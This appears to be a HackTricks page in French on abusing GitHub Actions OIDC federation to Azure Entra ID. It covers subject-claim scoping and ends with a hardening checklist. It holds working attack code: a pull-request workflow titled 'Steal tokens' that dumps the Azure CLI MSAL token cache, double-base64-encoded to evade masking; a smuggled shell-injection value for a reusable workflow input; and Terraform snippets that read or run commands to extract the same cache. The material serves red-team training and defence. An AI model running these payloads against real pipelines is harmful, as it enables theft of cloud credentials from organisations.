Azure – Abus de fédération (GitHub Actions OIDC / Workload Identity)

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Vue d'ensemble

GitHub Actions peut fédérer vers Azure Entra ID (anciennement Azure AD) en utilisant OpenID Connect (OIDC). Un workflow GitHub demande un GitHub ID token (JWT) de courte durée qui encode des détails sur l'exécution. Azure valide ce token par rapport à un Federated Identity Credential (FIC) sur un App Registration (service principal) et l'échange contre des Azure access tokens (MSAL cache, bearer tokens pour les API Azure).

Azure valide au moins :

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (lors de l'échange pour Azure tokens)
  • sub: doit correspondre à l'identifiant Subject configuré dans le FIC

L'aud GitHub par défaut peut être une URL GitHub. Lors de l'échange avec Azure, définissez explicitement audience=api://AzureADTokenExchange.

PoC rapide du GitHub ID token

yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

Pour forcer l'audience Azure lors de la requête de token :

bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Configuration Azure (Workload Identity Federation)

  1. Créer une App Registration (service principal) et accorder le moindre privilège (par ex., Storage Blob Data Contributor sur un compte de stockage spécifique).

  2. Ajouter des identifiants d'identité fédérée:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: fortement restreint au contexte de workflow/exécution visé (voir Scoping and risks ci-dessous).
  1. Utiliser azure/login pour échanger le GitHub ID token et se connecter à l'Azure CLI:
yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

Exemple d'échange manuel (portée Graph montrée; ARM ou d'autres ressources de manière similaire) :

http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

Anatomie et personnalisation du sujet (sub) OIDC GitHub

Format par défaut du sub : repo:/:

Les valeurs de context incluent :

  • environment:
  • pull_request (PR déclenchés lorsqu'il n'y a pas d'environnement)
  • ref:refs/(heads|tags)/

Claims utiles souvent présents dans le payload :

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Personnalisez la composition du sub via l'API GitHub pour inclure des claims supplémentaires et réduire le risque de collision :

bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

Note : les deux‑points dans les noms d'environnement sont encodés en URL (%3A), supprimant les anciennes astuces d'injection de délimiteurs contre le parsing de sub. Cependant, l'utilisation de subjects non uniques (p. ex., uniquement environment:) reste dangereuse.

Portée et risques des types de subject FIC

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • Risque : Si la branche/tag n'est pas protégée, tout contributeur peut push et obtenir des tokens.
  • Environment: sub=repo:/:environment:
  • Risque : Les environments non protégés (sans reviewers) permettent aux contributeurs de mint des tokens.
  • Pull request: sub=repo:/:pull_request
  • Risque le plus élevé : Tout collaborateur peut ouvrir une PR et satisfaire le FIC.

PoC : PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):

yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

Emplacements de fichiers et notes associées :

  • Linux/macOS : ~/.azure/msal_token_cache.json contient les jetons MSAL pour les sessions az CLI
  • Windows : msal_token_cache.bin sous le profil utilisateur ; protégé par DPAPI

Workflows réutilisables et portée de job_workflow_ref

L'appel d'un workflow réutilisable ajoute job_workflow_ref au jeton d'identité GitHub, par ex. :

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

Exemple FIC pour lier à la fois le dépôt appelant et le workflow réutilisable :

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

Configurer les claims dans le caller repo pour que repo et job_workflow_ref soient présents dans sub:

http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Attention : si vous liez uniquement job_workflow_ref dans le FIC, un attaquant pourrait créer un repo différent dans la même org, exécuter le même reusable workflow sur le même ref, satisfaire le FIC et mint des tokens. Incluez toujours également le caller repo.

Vecteurs d'exécution de code qui contournent les protections job_workflow_ref

Même avec un job_workflow_ref correctement limité, toute donnée contrôlée par le caller qui atteint le shell sans échappement sûr peut conduire à l'exécution de code à l'intérieur du contexte de workflow protégé.

Exemple de reusable step vulnérable (unquoted interpolation) :

yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

Entrée d'un appelant malveillant pour exécuter des commandes et exfiltrer le cache de jetons Azure :

yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan as an execution primitive in PRs

Considérez terraform plan comme une exécution de code. Pendant le plan, Terraform peut :

  • Lire des fichiers arbitraires via des fonctions comme file()
  • Exécuter des commandes via la source de données externe

Exemple pour exfiltrer le token cache Azure pendant le plan :

hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

Ou utiliser external pour exécuter des commandes arbitraires :

hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Accorder des FICs utilisables pour des plans déclenchés par PR expose des tokens privilégiés et peut préparer un apply destructeur ultérieur. Séparez les identités pour plan vs apply ; n'autorisez jamais de tokens privilégiés dans des contextes PR non fiables.

Checklist de durcissement

  • N'utilisez jamais sub=...:pull_request pour des FICs sensibles
  • Protégez toute branche/tag/environnement référencé(e) par des FICs (protection de branche, reviewers d'environnement)
  • Privilégiez des FICs limités à la fois au repo et à job_workflow_ref pour les workflows réutilisables
  • Personnalisez le GitHub OIDC sub pour inclure des claims uniques (p.ex., repo, job_workflow_ref, repository_owner)
  • Éliminez l'interpolation non-quotée des inputs du caller dans les étapes run ; encodez/quotez en toute sécurité
  • Considérez terraform plan comme une exécution de code ; restreignez ou isolez les identités dans les contextes PR
  • Appliquez le principe du moindre privilège aux App Registrations ; séparez les identités pour plan vs apply
  • Épinglez les actions et les workflows réutilisables aux SHA de commit (évitez d'épingler sur branche/tag)

Conseils pour les tests manuels

  • Demandez un GitHub ID token dans le workflow et imprimez-le en base64 pour éviter le masquage
  • Décodez le JWT pour inspecter les claims : iss, aud, sub, job_workflow_ref, repository, ref
  • Échangez manuellement l'ID token contre login.microsoftonline.com pour confirmer la correspondance des FIC et les scopes
  • Après azure/login, lisez ~/.azure/msal_token_cache.json pour vérifier la présence du matériel de token

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks